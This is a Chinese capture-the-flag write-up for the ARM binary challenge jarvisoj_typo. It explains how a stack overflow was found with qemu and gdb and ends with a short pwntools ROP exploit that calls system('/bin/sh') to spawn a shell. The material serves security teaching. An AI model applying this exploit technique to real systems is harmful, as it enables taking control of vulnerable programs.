ARM pwn 入门 (2)

上一篇文章中笔者对ARM架构的寄存器和指令集做了简单的介绍,本文就来首杀ARM pwn题。

buuoj 第139题 jarvisoj_typo

这一题是静态编译的程序,对于ARM可执行文件,在x86架构的虚拟机上可以使用qemu-arm ...来执行。

我们首先来执行看一下这个程序有什么输出。

在程序一开始输出了一段字符串,我们可以在IDA中用Shift+F12来查看elf文件中所有硬编码的字符串:

然后根据交叉引用找到该字符串被引用的位置:

根据程序的输入,我们可以猜测出其中一部分库函数,如这里的write、getchar等。看上去这是一个正常的输入程序,一个typing test,如果输入的内容和程序输出相同就会继续输出一个单词等待用户输入,否则输出error。

这里可以推测sub_8D24是关键输入函数。

这里的input应该就是输入的缓冲区,我们需要进行调试确定到底是哪一步执行了读取用户输入的操作:qemu-arm后加-g选项指定端口,就可以通过gdb-multiarch进行调试。经过调试发现上图中的read函数就是读取的函数,且最大读取大小为512字节,这明显就造成了栈溢出。

从上图可知,覆盖返回地址需要先输入0x70字节。在elf文件中可以发现字符串/bin/sh:

引用字符串/bin/sh的函数就是system函数。因此我们可以找到system函数的地址为0x10BA8。需要注意ARM架构函数的调用约定:前4个参数保存在R0~R3,之后的参数从右至左压栈。因此要想执行system("/bin/sh"),就需要将寄存器R0的值修改为字符串'/bin/sh'的地址,返回地址可以通过栈溢出直接修改。考虑到这是一个静态编译的文件,很容易就可以想到使用一个简单的ROP来实现寄存器修改操作。

找到合适的ROP地址为0x20904,可以在修改寄存器R0的值之后修改PC的值。现在可以编写exp了。

from pwn import *
context.arch='arm'
context.log_level='debug'

io = process(['qemu-arm-static', './typo'])
io.sendafter(b'quit\n', b'\n')
io.send(cyclic(0x70) + p32(0x20904) + p32(0x6c384) + p32(0) + p32(0x10ba8))

io.interactive()

成功getshell。这题看来不难,只是一个简单的不能再简单的ROP。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值